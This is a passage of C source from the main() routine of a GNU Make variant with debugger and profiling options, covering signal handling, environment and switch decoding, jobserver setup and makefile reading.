(__MSDOS__) && !defined (_POSIX_SOURCE)\n  /* Request the most powerful version of 'system', to\n     make up for the dumb default shell.  */\n  __system_flags = (__system_redirect\n                    | __system_use_shell\n                    | __system_allow_multiple_cmds\n                    | __system_allow_long_cmds\n                    | __system_handle_null_commands\n                    | __system_emulate_chdir);\n\n#endif\n\n  /* Set up gettext/internationalization support.  */\n  setlocale (LC_ALL, \"\");\n  /* The cast to void shuts up compiler warnings on systems that\n     disable NLS.  */\n  (void)bindtextdomain (PACKAGE, LOCALEDIR);\n  (void)textdomain (PACKAGE);\n\n#ifdef  POSIX\n  sigemptyset (&fatal_signal_set);\n#define ADD_SIG(sig)    sigaddset (&fatal_signal_set, sig)\n#else\n#ifdef  HAVE_SIGSETMASK\n  fatal_signal_mask = 0;\n#define ADD_SIG(sig)    fatal_signal_mask |= sigmask (sig)\n#else\n#define ADD_SIG(sig)    (void)sig\n#endif\n#endif\n\n#define FATAL_SIG(sig)                                                        \\\n  if (bsd_signal (sig, fatal_error_signal) == SIG_IGN)                        \\\n    bsd_signal (sig, SIG_IGN);                                                \\\n  else                                                                        \\\n    ADD_SIG (sig);\n\n#ifdef SIGHUP\n  FATAL_SIG (SIGHUP);\n#endif\n#ifdef SIGQUIT\n  FATAL_SIG (SIGQUIT);\n#endif\n  FATAL_SIG (SIGINT);\n  FATAL_SIG (SIGTERM);\n\n#ifdef __MSDOS__\n  /* Windows 9X delivers FP exceptions in child programs to their\n     parent!  We don't want Make to die when a child divides by zero,\n     so we work around that lossage by catching SIGFPE.  */\n  FATAL_SIG (SIGFPE);\n#endif\n\n#ifdef  SIGDANGER\n  FATAL_SIG (SIGDANGER);\n#endif\n#ifdef SIGXCPU\n  FATAL_SIG (SIGXCPU);\n#endif\n#ifdef SIGXFSZ\n  FATAL_SIG (SIGXFSZ);\n#endif\n\n#undef  FATAL_SIG\n\n  /* Do not ignore the child-death signal.  This must be done before\n     any children could possibly be created; otherwise, the wait\n     functions won't work on systems with the SVR4 ECHILD brain\n     damage, if our invoker is ignoring this signal.  */\n\n#ifdef HAVE_WAIT_NOHANG\n# if defined SIGCHLD\n  (void) bsd_signal (SIGCHLD, SIG_DFL);\n# endif\n# if defined SIGCLD && SIGCLD != SIGCHLD\n  (void) bsd_signal (SIGCLD, SIG_DFL);\n# endif\n#endif\n\n  output_init (NULL);\n\n  /* Figure out where this program lives.  */\n\n  if (argv[0] == 0)\n    argv[0] = (char *)\"\";\n  if (argv[0][0] == '\\0')\n    program = \"make\";\n  else\n    {\n#if defined(HAVE_DOS_PATHS)\n      const char* start = argv[0];\n\n      /* Skip an initial drive specifier if present.  */\n      if (isalpha ((unsigned char)start[0]) && start[1] == ':')\n        start += 2;\n\n      if (start[0] == '\\0')\n        program = \"make\";\n      else\n        {\n          program = start + strlen (start);\n          while (program > start && ! STOP_SET (program[-1], MAP_DIRSEP))\n            --program;\n\n          /* Remove the .exe extension if present.  */\n          {\n            size_t len = strlen (program);\n            if (len > 4 && streq (&program[len - 4], \".exe\"))\n              program = xstrndup (program, len - 4);\n          }\n        }\n#else\n      program = strrchr (argv[0], '/');\n      if (program == 0)\n        program = argv[0];\n      else\n        ++program;\n#endif\n    }\n\n  /* Set up to access user data (files).  */\n  user_access ();\n\n  initialize_global_hash_tables ();\n\n  /* Figure out where we are.  */\n\n#ifdef WINDOWS32\n  if (getcwd_fs (current_directory, GET_PATH_MAX) == 0)\n#else\n  if (getcwd (current_directory, GET_PATH_MAX) == 0)\n#endif\n    {\n#ifdef  HAVE_GETCWD\n      perror_with_name (\"getcwd\", \"\");\n#else\n      OS (error, NILF, \"getwd: %s\", current_directory);\n#endif\n      current_directory[0] = '\\0';\n      directory_before_chdir = 0;\n    }\n  else\n    directory_before_chdir = xstrdup (current_directory);\n\n#ifdef  __MSDOS__\n  /* Make sure we will return to the initial directory, come what may.  */\n  atexit (msdos_return_to_initial_directory);\n#endif\n\n  /* Initialize the special variables.  */\n  define_variable_cname (\".VARIABLES\", \"\", o_default, 0)->special = 1;\n  /* define_variable_cname (\".TARGETS\", \"\", o_default, 0)->special = 1; */\n  define_variable_cname (\".RECIPEPREFIX\", \"\", o_default, 0)->special = 1;\n  define_variable_cname (\".SHELLFLAGS\", \"-c\", o_default, 0);\n  define_variable_cname (\".LOADED\", \"\", o_default, 0);\n\n  /* Set up .FEATURES\n     Use a separate variable because define_variable_cname() is a macro and\n     some compilers (MSVC) don't like conditionals in macros.  */\n  {\n    const char *features = \"target-specific order-only second-expansion\"\n                           \" else-if shortest-stem undefine oneshell nocomment\"\n                           \" grouped-target extra-prereqs\"\n#ifndef NO_ARCHIVES\n                           \" archives\"\n#endif\n#ifdef MAKE_JOBSERVER\n                           \" jobserver\"\n#endif\n#ifndef NO_OUTPUT_SYNC\n                           \" output-sync\"\n#endif\n#ifdef MAKE_SYMLINKS\n                           \" check-symlink\"\n#endif\n#ifdef HAVE_GUILE\n                           \" guile\"\n#endif\n#ifdef MAKE_LOAD\n                           \" load\"\n#endif\n#ifdef MAKE_MAINTAINER_MODE\n                           \" maintainer\"\n#endif\n                           ;\n\n    define_variable_cname (\".FEATURES\", features, o_default, 0);\n  }\n\n  /* Configure GNU Guile support */\n  guile_gmake_setup (NILF);\n\n  /* Read in variables from the environment.  It is important that this be\n     done before $(MAKE) is figured out so its definitions will not be\n     from the environment.  */\n\n  {\n    unsigned int i;\n\n    for (i = 0; envp[i] != 0; ++i)\n      {\n        struct variable *v;\n        const char *ep = envp[i];\n        /* By default, export all variables culled from the environment.  */\n        enum variable_export export = v_export;\n        size_t len;\n\n        while (! STOP_SET (*ep, MAP_EQUALS))\n          ++ep;\n\n        /* If there's no equals sign it's a malformed environment.  Ignore.  */\n        if (*ep == '\\0')\n          continue;\n\n        /* Length of the variable name, and skip the '='.  */\n        len = ep++ - envp[i];\n\n        /* If this is MAKE_RESTARTS, check to see if the \"already printed\n           the enter statement\" flag is set.  */\n        if (len == 13 && strneq (envp[i], \"MAKE_RESTARTS\", 13))\n          {\n            if (*ep == '-')\n              {\n                OUTPUT_TRACED ();\n                ++ep;\n              }\n            restarts = (unsigned int) atoi (ep);\n            export = v_noexport;\n          }\n\n        v = define_variable (envp[i], len, ep, o_env, 1);\n\n        /* POSIX says the value of SHELL set in the makefile won't change the\n           value of SHELL given to subprocesses.  */\n        if (streq (v->name, \"SHELL\"))\n          {\n            export = v_noexport;\n            shell_var.name = xstrdup (\"SHELL\");\n            shell_var.length = 5;\n            shell_var.value = xstrdup (ep);\n          }\n\n        v->export = export;\n      }\n  }\n\n  /* Decode the switches.  */\n  decode_env_switches (STRING_SIZE_TUPLE (\"GNUMAKEFLAGS\"));\n\n  /* Clear GNUMAKEFLAGS to avoid duplication.  */\n  define_variable_cname (\"GNUMAKEFLAGS\", \"\", o_env, 0);\n\n  decode_env_switches (STRING_SIZE_TUPLE (\"MAKEFLAGS\"));\n\n#if 0\n  /* People write things like:\n        MFLAGS=\"CC=gcc -pipe\" \"CFLAGS=-g\"\n     and we set the -p, -i and -e switches.  Doesn't seem quite right.  */\n  decode_env_switches (STRING_SIZE_TUPLE (\"MFLAGS\"));\n#endif\n\n  /* In output sync mode we need to sync any output generated by reading the\n     makefiles, such as in $(info ...) or stderr from $(shell ...) etc.  */\n\n  syncing = make_sync.syncout = (output_sync == OUTPUT_SYNC_LINE\n                                 || output_sync == OUTPUT_SYNC_TARGET);\n  OUTPUT_SET (&make_sync);\n\n  /* Parse the command line options.  Remember the job slots set this way.  */\n  {\n    int env_slots = arg_job_slots;\n    arg_job_slots = INVALID_JOB_SLOTS;\n\n    decode_switches (argc, (const char **)argv, 0);\n    argv_slots = arg_job_slots;\n\n    if (arg_job_slots == INVALID_JOB_SLOTS)\n      arg_job_slots = env_slots;\n  }\n\n  /* Set a variable specifying whether stdout/stdin is hooked to a TTY.  */\n#ifdef HAVE_ISATTY\n  if (isatty (fileno (stdout)))\n    if (! lookup_variable (STRING_SIZE_TUPLE (\"MAKE_TERMOUT\")))\n      {\n        const char *tty = TTYNAME (fileno (stdout));\n        define_variable_cname (\"MAKE_TERMOUT\", tty ? tty : DEFAULT_TTYNAME,\n                               o_default, 0)->export = v_export;\n      }\n  if (isatty (fileno (stderr)))\n    if (! lookup_variable (STRING_SIZE_TUPLE (\"MAKE_TERMERR\")))\n      {\n        const char *tty = TTYNAME (fileno (stderr));\n        define_variable_cname (\"MAKE_TERMERR\", tty ? tty : DEFAULT_TTYNAME,\n                               o_default, 0)->export = v_export;\n      }\n#endif\n\n  /* Reset in case the switches changed our minds.  */\n  syncing = (output_sync == OUTPUT_SYNC_LINE\n             || output_sync == OUTPUT_SYNC_TARGET);\n\n  if (make_sync.syncout && ! syncing)\n    output_close (&make_sync);\n\n  make_sync.syncout = syncing;\n  OUTPUT_SET (&make_sync);\n\n  /* Figure out the level of recursion.  */\n  {\n    struct variable *v = lookup_variable (STRING_SIZE_TUPLE (MAKELEVEL_NAME));\n    if (v && v->value[0] != '\\0' && v->value[0] != '-')\n      makelevel = (unsigned int) atoi (v->value);\n    else\n      makelevel = 0;\n\n    v = lookup_variable (STRING_SIZE_TUPLE (MAKEPARENT_PID_NAME));\n    if (v && v->value[0] != '\\0' && v->value[0] != '-')\n      makeparent_pid = (pid_t) atoi (v->value);\n    else\n      makeparent_pid = (pid_t)0;\n\n    v = lookup_variable (STRING_SIZE_TUPLE (MAKEPARENT_TARGET_NAME));\n    if (v && v->value[0] != '\\0' && v->value[0] != '-') {\n      makeparent_target = v->value;\n    } else {\n      makeparent_target = NULL;\n    }\n  }\n\n  decode_trace_flags (tracing_opts);\n  decode_verbosity_flags (verbosity_opts);\n\n  /* FIXME: put into a subroutine like decode_trace_flags */\n  if (post_mortem_flag) {\n    debugger_on_error   |=  (DEBUGGER_ON_ERROR|DEBUGGER_ON_FATAL);\n    debugger_enabled     =  1;\n  } else if (debugger_flag) {\n    b_debugger_preread   = false;\n    job_slots            =  1;\n    i_debugger_stepping  =  1;\n    i_debugger_nexting   =  0;\n    debugger_enabled     =  1;\n    /* For now we'll do basic debugging. Later, \"stepping'\n       will stop here while next won't - either way no printing.\n    */\n    db_level            |=  DB_BASIC | DB_CALL | DB_SHELL | DB_UPDATE_GOAL\n        | DB_MAKEFILES;\n  }\n  /* debugging sets some things */\n  if (debugger_opts) {\n    const char **p;\n    b_show_version = true;\n    for (p = debugger_opts->list; *p != 0; ++p)\n      {\n        if (0 == strcmp(*p, \"preread\")) {\n          b_debugger_preread  = true;\n          db_level           |= DB_READ_MAKEFILES;\n        }\n\n        if (0 == strcmp(*p, \"goal\")) {\n          b_debugger_goal  = true;\n          db_level           |= DB_UPDATE_GOAL;\n        }\n\n        if ( 0 == strcmp(*p, \"full\") || b_debugger_preread || b_debugger_goal\n             || 0 == strcmp(*p, \"preaction\") ) {\n          job_slots            =  1;\n          i_debugger_stepping  =  1;\n          i_debugger_nexting   =  0;\n          debugger_enabled     =  1;\n          /* For now we'll do basic debugging. Later, \"stepping'\n             will stop here while next won't - either way no printing.\n           */\n          db_level          |=  DB_BASIC | DB_CALL | DB_UPDATE_GOAL\n                            |   b_debugger_goal ? 0 : DB_SHELL\n                            |   DB_MAKEFILES;\n        }\n        if ( 0 == strcmp(*p, \"full\") || b_debugger_goal\n             || 0 == strcmp(*p, \"error\") ) {\n          debugger_on_error  |=  (DEBUGGER_ON_ERROR|DEBUGGER_ON_FATAL);\n        } else if ( 0 == strcmp(*p, \"fatal\") ) {\n          debugger_on_error  |=  DEBUGGER_ON_FATAL;\n        }\n      }\n#ifndef HAVE_LIBREADLINE\n    O (error, NILF,\n           \"warning: you specified a debugger option, but you don't have readline support\");\n    O (error, NILF,\n           \"debugger support compiled in. Debugger options will be ignored.\");\n#endif\n  }\n\n  /* Set always_make_flag if -B was given and we've not restarted already.  */\n  always_make_flag = always_make_set && (restarts == 0);\n\n  /* Print version information, and exit.  */\n  if (print_version_flag)\n    {\n      print_version ();\n      die (MAKE_SUCCESS);\n    }\n\n  if (ISDB (DB_BASIC) && makelevel == 0 && b_show_version)\n    print_version ();\n\n  /* Set the \"MAKE_COMMAND\" variable to the name we were invoked with.\n     (If it is a relative pathname with a slash, prepend our directory name\n     so the result will run the same program regardless of the current dir.\n     If it is a name with no slash, we can only hope that PATH did not\n     find it in the current directory.)  */\n  if (current_directory[0] != '\\0'\n      && argv[0] != 0 && argv[0][0] != '/' && strchr (argv[0], '/') != 0\n      )\n    argv[0] = xstrdup (concat (3, current_directory, \"/\", argv[0]));\n\n  /* We may move, but until we do, here we are.  */\n  starting_directory = current_directory;\n\n  /* Update profile global options from cli options */\n  decode_profile_options();\n  if (profile_flag) profile_init(PACKAGE_TARNAME \" \" PACKAGE_VERSION, argv, arg_job_slots);\n\n  /* Validate the arg_job_slots configuration before we define MAKEFLAGS so\n     users get an accurate value in their makefiles.\n     At this point arg_job_slots is the argv setting, if there is one, else\n     the MAKEFLAGS env setting, if there is one.  */\n\n  if (jobserver_auth)\n    {\n      /* We're a child in an existing jobserver group.  */\n      if (argv_slots == INVALID_JOB_SLOTS)\n        {\n          /* There's no -j option on the command line: check authorization.  */\n          if (jobserver_parse_auth (jobserver_auth))\n            {\n              /* Success!  Use the jobserver.  */\n              goto job_setup_complete;\n            }\n\n          /* Oops: we have jobserver-auth but it's invalid :(.  */\n          O (error, NILF, _(\"warning: jobserver unavailable: using -j1.  Add '+' to parent make rule.\"));\n          arg_job_slots = 1;\n        }\n\n      /* The user provided a -j setting on the command line so use it: we're\n         the master make of a new jobserver group.  */\n      else if (!restarts)\n        ON (error, NILF,\n            _(\"warning: -j%d forced in submake: resetting jobserver mode.\"),\n            argv_slots);\n\n      /* We can't use our parent's jobserver, so reset.  */\n      reset_jobserver ();\n    }\n\n job_setup_complete:\n\n  /* The extra indirection through $(MAKE_COMMAND) is done\n     for hysterical raisins.  */\n\n  define_variable_cname (\"MAKE_COMMAND\", argv[0], o_default, 0);\n  define_variable_cname (\"MAKE\", \"$(MAKE_COMMAND)\", o_default, 1);\n\n  if (command_variables != 0)\n    {\n      struct command_variable *cv;\n      struct variable *v;\n      size_t len = 0;\n      char *value, *p;\n\n      /* Figure out how much space will be taken up by the command-line\n         variable definitions.  */\n      for (cv = command_variables; cv != 0; cv = cv->next)\n        {\n          v = cv->variable;\n          len += 2 * strlen (v->name);\n          if (! v->recursive)\n            ++len;\n          ++len;\n          len += 2 * strlen (v->value);\n          ++len;\n        }\n\n      /* Now allocate a buffer big enough and fill it.  */\n      p = value = alloca (len);\n      for (cv = command_variables; cv != 0; cv = cv->next)\n        {\n          v = cv->variable;\n          p = quote_for_env (p, v->name);\n          if (! v->recursive)\n            *p++ = ':';\n          *p++ = '=';\n          p = quote_for_env (p, v->value);\n          *p++ = ' ';\n        }\n      p[-1] = '\\0';             /* Kill the final space and terminate.  */\n\n      /* Define an unchangeable variable with a name that no POSIX.2\n         makefile could validly use for its own variable.  */\n      define_variable_cname (\"-*-command-variables-*-\", value, o_automatic, 0);\n\n      /* Define the variable; this will not override any user definition.\n         Normally a reference to this variable is written into the value of\n         MAKEFLAGS, allowing the user to override this value to affect the\n         exported value of MAKEFLAGS.  In POSIX-pedantic mode, we cannot\n         allow the user's setting of MAKEOVERRIDES to affect MAKEFLAGS, so\n         a reference to this hidden variable is written instead. */\n      define_variable_cname (\"MAKEOVERRIDES\", \"${-*-command-variables-*-}\",\n                             o_env, 1);\n    }\n\n  /* If there were -C flags, move ourselves about.  */\n  if (directories != 0)\n    {\n      unsigned int i;\n      for (i = 0; directories->list[i] != 0; ++i)\n        {\n          const char *dir = directories->list[i];\n          if (chdir (dir) < 0)\n            pfatal_with_name (dir);\n        }\n    }\n\n  /* Except under -s, always do -w in sub-makes and under -C.  */\n  if (!silent_flag && (directories != 0 || makelevel > 0))\n    print_directory = 1;\n\n  /* Let the user disable that with --no-print-directory.  */\n  if (inhibit_print_directory)\n    print_directory = 0;\n\n  /* If -R was given, set -r too (doesn't make sense otherwise!)  */\n  if (no_builtin_variables_flag)\n    no_builtin_rules_flag = 1;\n\n  /* Construct the list of include directories to search.  */\n\n  construct_include_path (include_directories == 0\n                          ? 0 : include_directories->list);\n\n  /* If we chdir'ed, figure out where we are now.  */\n  if (directories)\n    {\n#ifdef WINDOWS32\n      if (getcwd_fs (current_directory, GET_PATH_MAX) == 0)\n#else\n      if (getcwd (current_directory, GET_PATH_MAX) == 0)\n#endif\n        {\n#ifdef  HAVE_GETCWD\n          perror_with_name (\"getcwd\", \"\");\n#else\n          OS (error, NILF, \"getwd: %s\", current_directory);\n#endif\n          starting_directory = 0;\n        }\n      else\n        starting_directory = current_directory;\n    }\n\n  define_variable_cname (\"CURDIR\", current_directory, o_file, 0);\n\n  /* Read any stdin makefiles into temporary files.  */\n\n  if (makefiles != 0)\n    {\n      unsigned int i;\n      for (i = 0; i < makefiles->idx; ++i)\n        if (makefiles->list[i][0] == '-' && makefiles->list[i][1] == '\\0')\n          {\n            /* This makefile is standard input.  Since we may re-exec\n               and thus re-read the makefiles, we read standard input\n               into a temporary file and read from that.  */\n            FILE *outfile;\n            char *template;\n            const char *tmpdir;\n\n            if (stdin_nm)\n              O (fatal, NILF,\n                 _(\"Makefile from standard input specified twice.\"));\n\n#ifdef P_tmpdir\n# define DEFAULT_TMPDIR    P_tmpdir\n#else\n# define DEFAULT_TMPDIR    \"/tmp\"\n#endif\n#define DEFAULT_TMPFILE     \"GmXXXXXX\"\n\n            if (((tmpdir = getenv (\"TMPDIR\")) == NULL || *tmpdir == '\\0')\n               )\n              tmpdir = DEFAULT_TMPDIR;\n\n            template = alloca (strlen (tmpdir) + CSTRLEN (DEFAULT_TMPFILE) + 2);\n            strcpy (template, tmpdir);\n\n#ifdef HAVE_DOS_PATHS\n            if (strchr (\"/\\\\\", template[strlen (template) - 1]) == NULL)\n              strcat (template, \"/\");\n#else\n# ifndef VMS\n            if (template[strlen (template) - 1] != '/')\n              strcat (template, \"/\");\n# endif /* !VMS */\n#endif /* !HAVE_DOS_PATHS */\n\n            strcat (template, DEFAULT_TMPFILE);\n            outfile = get_tmpfile (&stdin_nm, template);\n            if (outfile == 0)\n              pfatal_with_name (_(\"fopen (temporary file)\"));\n            while (!feof (stdin) && ! ferror (stdin))\n              {\n                char buf[2048];\n                size_t n = fread (buf, 1, sizeof (buf), stdin);\n                if (n > 0 && fwrite (buf, 1, n, outfile) != n)\n                  pfatal_with_name (_(\"fwrite (temporary file)\"));\n              }\n            fclose (outfile);\n\n            /* Replace the name that read_all_makefiles will\n               see with the name of the temporary file.  */\n            makefiles->list[i] = strcache_add (stdin_nm);\n\n            /* Make sure the temporary file will not be remade.  */\n            {\n              struct file *f = enter_file (strcache_add (stdin_nm));\n              f->updated = 1;\n              f->update_status = us_success;\n              f->command_state = cs_finished;\n              /* Can't be intermediate, or it'll be removed too early for\n                 make re-exec.  */\n              f->intermediate = 0;\n              f->dontcare = 0;\n            }\n          }\n    }\n\n#ifndef __EMX__ /* Don't use a SIGCHLD handler for OS/2 */\n#if !defined(HAVE_WAIT_NOHANG) || defined(MAKE_JOBSERVER)\n  /* Set up to handle children dying.  This must be done before\n     reading in the makefiles so that 'shell' function calls will work.\n\n     If we don't have a hanging wait we have to fall back to old, broken\n     functionality here and rely on the signal handler and counting\n     children.\n\n     If we're using the jobs pipe we need a signal handler so that SIGCHLD is\n     not ignored; we need it to interrupt the read(2) of the jobserver pipe if\n     we're waiting for a token.\n\n     If none of these are true, we don't need a signal handler at all.  */\n  {\n# if defined SIGCHLD\n    bsd_signal (SIGCHLD, child_handler);\n# endif\n# if defined SIGCLD && SIGCLD != SIGCHLD\n    bsd_signal (SIGCLD, child_handler);\n# endif\n  }\n\n#ifdef HAVE_PSELECT\n  /* If we have pselect() then we need to block SIGCHLD so it's deferred.  */\n  {\n    sigset_t block;\n    sigemptyset (&block);\n    sigaddset (&block, SIGCHLD);\n    if (sigprocmask (SIG_SETMASK, &block, NULL) < 0)\n      pfatal_with_name (\"sigprocmask(SIG_SETMASK, SIGCHLD)\");\n  }\n#endif\n\n#endif\n#endif\n\n  /* Let the user send us SIGUSR1 to toggle the -d flag during the run.  */\n#ifdef SIGUSR1\n  bsd_signal (SIGUSR1, debug_signal_handler);\n#endif\n\n  /* Define the initial list of suffixes for old-style rules.  */\n  set_default_suffixes ();\n\n  /* Define the file rules for the built-in suffix rules.  These will later\n     be converted into pattern rules.  We used to do this in\n     install_default_implicit_rules, but since that happens after reading\n     makefiles, it results in the built-in pattern rules taking precedence\n     over makefile-specified suffix rules, which is wrong.  */\n  install_default_suffix_rules ();\n\n  /* Define some internal and special variables.  */\n  define_automatic_variables ();\n\n  /* Set up the MAKEFLAGS and MFLAGS variables for makefiles to see.\n     Initialize it to be exported but allow the makefile to reset it.  */\n  define_makeflags (0, 0)->export = v_export;\n\n  /* Define the default variables.  */\n  define_default_variables ();\n\n  default_file = enter_file (strcache_add (\".DEFAULT\"));\n\n  default_goal_var = define_variable_cname (\".DEFAULT_GOAL\", \"\", o_file, 0);\n\n  /* Evaluate all strings provided with --eval.\n     Also set up the $(-*-eval-flags-*-) variable.  */\n\n  if (eval_strings)\n    {\n      char *p, *value;\n      unsigned int i;\n      size_t len = (CSTRLEN (\"--eval=\") + 1) * eval_strings->idx;\n\n      for (i = 0; i < eval_strings->idx; ++i)\n        {\n          p = xstrdup (eval_strings->list[i]);\n          len += 2 * strlen (p);\n          eval_buffer (p, NULL);\n          free (p);\n        }\n\n      p = value = alloca (len);\n      for (i = 0; i < eval_strings->idx; ++i)\n        {\n          strcpy (p, \"--eval=\");\n          p += CSTRLEN (\"--eval=\");\n          p = quote_for_env (p, eval_strings->list[i]);\n          *(p++) = ' ';\n        }\n      p[-1] = '\\0';\n\n      define_variable_cname (\"-*-eval-flags-*-\", value, o_automatic, 0);\n    }\n\n  /* Read all the makefiles.  */\n\n  read_makefiles = read_all_makefiles (makefiles == 0 ? 0 : makefiles->list);\n\n#ifdef WINDOWS32\n  /* look one last time after reading all Makefiles */\n  if (no_default_sh_exe)\n    no_default_sh_exe = !find_and_set_default_shell (NULL);\n#endif /* WINDOWS32 */\n\n#if defined (__MSDOS__) || defined (__EMX__) || defined (VMS)\n  /* We need to know what kind of shell we will be using.  */\n  {\n    extern int _is_unixy_shell (const char *_path);\n    struct variable *shv = lookup_variable (STRING_SIZE_TUPLE (\"SHELL\"));\n    extern int unixy_shell;\n    extern const char *default_shell;\n\n    if (shv && *shv->value)\n      {\n        char *shell_path = recursively_expand (shv);\n\n        if (shell_path && _is_unixy_shell (shell_path))\n          unixy_shell = 1;\n        else\n          unixy_shell = 0;\n        if (shell_path)\n          default_shell = shell_path;\n      }\n  }\n#endif /* __MSDOS__ || __EMX__ */\n\n  {\n    int old_builtin_rules_flag = no_builtin_rules_flag;\n    int old_builtin_variables_flag = no_builtin_variables_flag;\n    int old_arg_job_slots = arg_job_slots;\n\n    arg_job_slots = INVALID_JOB_SLOTS;\n\n    /* Decode switches again, for variables set by the makefile.  */\n    decode_env_switches (STRING_SIZE_TUPLE (\"GNUMAKEFLAGS\"));\n\n    /* Clear GNUMAKEFLAGS to avoid duplication.  */\n    define_variable_cname (\"GNUMAKEFLAGS\", \"\", o_override, 0);\n\n    decode_env_switches (STRING_SIZE_TUPLE (\"MAKEFLAGS\"));\n#if 0\n    decode_env_switches (STRING_SIZE_TUPLE (\"MFLAGS\"));\n#endif\n\n    /* If -j is not set in the makefile, or it was set on the command line,\n       reset to use the previous value.  */\n    if (arg_job_slots == INVALID_JOB_SLOTS || argv_slots != INVALID_JOB_SLOTS)\n      arg_job_slots = old_arg_job_slots;\n\n    else if (jobserver_auth)\n      {\n        /* Makefile MAKEFLAGS set -j, but we already have a jobserver.\n           Make us the master of a new jobserver group.  */\n        if (!restarts)\n          ON (error, NILF,\n              _(\"warning: -j%d forced in makefile: resetting jobserver mode.\"),\n              arg_job_slots);\n\n        /* We can't use our parent's jobserver, so reset.  */\n        reset_jobserver ();\n      }\n\n    /* Reset in case the switches changed our mind.  */\n    syncing = (output_sync == OUTPUT_SYNC_LINE\n               || output_sync == OUTPUT_SYNC_TARGET);\n\n    if (make_sync.syncout && ! syncing)\n      output_close (&make_sync);\n\n    make_sync.syncout = syncing;\n    OUTPUT_SET (&make_sync);\n\n    /* If we've disabled builtin rules, get rid of them.  */\n    if (no_builtin_rules_flag && ! old_builtin_rules_flag)\n      {\n        if (suffix_file->builtin)\n          {\n            free_dep_chain (suffix_file->deps);\n            suffix_file->deps = 0;\n          }\n        define_variable_cname (\"SUFFIXES\", \"\", o_default, 0);\n      }\n\n    /* If we've disabled builtin variables, get rid of them.  */\n    if (no_builtin_variables_flag && ! old_builtin_variables_flag)\n      undefine_default_variables ();\n  }\n\n  /* Final jobserver configuration.\n\n     If we have jobserver_auth then we are a client in an existing jobserver\n     group, that's already been verified OK above.  If we don't have\n     jobserver_auth and jobserver is enabled, then start a new jobserver.\n\n     arg_job_slots = INVALID_JOB_SLOTS if we don't want -j in MAKEFLAGS\n\n     arg_job_slots = # of jobs of parallelism\n\n     job_slots = 0 for no limits on jobs, or when limiting via jobserver.\n\n     job_slots = 1 for standard non-parallel mode.\n\n     job_slots >1 for old-style parallelism without jobservers.  */\n\n  if (jobserver_auth)\n    job_slots = 0;\n  else if (arg_job_slots == INVALID_JOB_SLOTS)\n    job_slots = 1;\n  else\n    job_slots = arg_job_slots;\n\n  /* If we have >1 slot at this point, then we're a top-level make.\n     Set up the jobserver.\n\n     Every make assumes that it always has one job it can run.  For the\n     submakes it's the token they were given by their parent.  For the top\n     make, we just subtract one from the number the user wants.  */\n\n  if (job_slots > 1 && jobserver_setup (job_slots - 1))\n    {\n      /* Fill in the jobserver_auth for our children.  */\n      jobserver_auth = jobserver_get_auth ();\n\n      if (jobserver_auth)\n        {\n          /* We're using the jobserver so set job_slots to 0.  */\n          master_job_slots = job_slots;\n          job_slots = 0;\n        }\n    }\n\n  /* If we're not using parallel jobs, then we don't need output sync.\n     This is so people can enable output sync in GNUMAKEFLAGS or similar, but\n     not have it take effect unless parallel builds are enabled.  */\n  if (syncing && job_slots == 1)\n    {\n      OUTPUT_UNSET ();\n      output_close (&make_sync);\n      syncing = 0;\n      output_sync = OUTPUT_SYNC_NONE;\n    }\n\n#ifndef MAKE_SYMLINKS\n  if (check_symlink_flag)\n    {\n      O (error, NILF, _(\"Symbolic links not supported: disabling -L.\"));\n      check_symlink_flag = 0;\n    }\n#endif\n\n  /* Set up MAKEFLAGS and MFLAGS again, so they will be right.  */\n\n  define_makeflags (1, 0);\n\n  /* Make each 'struct goaldep' point at the 'struct file' for the file\n     depended on.  Also do magic for special targets.  */\n\n  snap_deps ();\n\n  /* Convert old-style suffix rules to pattern rules.  It is important to\n     do this before installing the built-in pattern rules below, so that\n     makefile-specified suffix rules take precedence over built-in pattern\n     rules.  */\n\n  convert_to_pattern ();\n\n  /* Install the default implicit pattern rules.\n     This used to be done before reading the makefiles.\n     But in that case, built-in pattern rules were in the chain\n     before user-defined ones, so they matched first.  */\n\n  install_default_implicit_rules ();\n\n  /* Compute implicit rule limits and do magic for pattern rules.  */\n\n  snap_implicit_rules ();\n\n  /* Construct the listings of directories in VPATH lists.  */\n\n  build_vpath_lists ();\n\n  /* Mark files given with -o flags as very old and as having been updated\n     already, and files given with -W flags as brand new (time-stamp as far\n     as possible into the future).  If restarts is set we'll do -W later.  */\n\n  if (old_files != 0)\n    {\n      const char **p;\n      for (p = old_files->list; *p != 0; ++p)\n        {\n          struct file *f = enter_file (*p);\n          f->last_mtime = f->mtime_before_update = OLD_MTIME;\n          f->updated = 1;\n          f->update_status = us_success;\n          f->command_state = cs_finished;\n        }\n    }\n\n  if (!restarts && new_files != 0)\n    {\n      const char **p;\n      for (p = new_files->list; *p != 0; ++p)\n        {\n          struct file *f = enter_file (*p);\n          f->last_mtime = f->mtime_before_update = NEW_MTIME;\n        }\n    }\n\n  /* Initialize the remote job module.  */\n  remote_setup ();\n\n  /* Dump any output we've collected.  */\n\n  OUTPUT_UNSET ();\n  output_close (&make_sync);\n\n  if (read_makefiles)\n    {\n      /* Update any makefiles if necessary.  */\n\n      FILE_TIMESTAMP *makefile_mtimes;\n      char **aargv = NULL;\n      const char **nargv;\n      int nargc;\n      enum update_status status;\n\n      DB (DB_BASIC, (_(\"Updating makefiles...\\n\")));\n\n      {\n        struct goaldep *d;\n        unsigned int num_mkfiles = 0;\n        for (d = read_makefiles; d != NULL; d = d->next)\n          ++num_mkfiles;\n\n        makefile_mtimes = alloca (num_mkfiles * sizeof (FILE_TIMESTAMP));\n      }\n\n      /* Remove any makefiles we don't want to try to update.  Record the\n         current modtimes of the others so we can compare them later.  */\n      {\n        struct goaldep *d = read_makefiles;\n        struct goaldep *last = NULL;\n        unsigned int mm_idx = 0;\n\n        while (d != 0)\n          {\n            struct file *f;\n\n            for (f = d->file->double_colon; f != NULL; f = f->prev)\n              if (f->deps == 0 && f->cmds != 0)\n                break;\n\n            if (f)\n              {\n                /* This makefile is a :: target with commands, but no\n                   dependencies.  So, it will always be remade.  This might\n                   well cause an infinite loop, so don't try to remake it.\n                   (This will only happen if your makefiles are written\n                   exceptionally stupidly; but if you work for Athena, that's\n                   how you write your makefiles.)  */\n\n                DB (DB_VERBOSE,\n                    (_(\"Makefile '%s' might loop; not remaking it.\\n\"),\n                     f->name));\n\n                if (last)\n                  last->next = d->next;\n                else\n                  read_makefiles = d->next;\n\n                /* Free the storage.  */\n                free_goaldep (d);\n\n                d = last ? last->next : read_makefiles;\n              }\n            else\n              {\n                makefile_mtimes[mm_idx++] = file_mtime_no_search (d->file);\n                last = d;\n                d = d->next;\n              }\n          }\n      }\n\n      /* Set up 'MAKEFLAGS' specially while remaking makefiles.  */\n      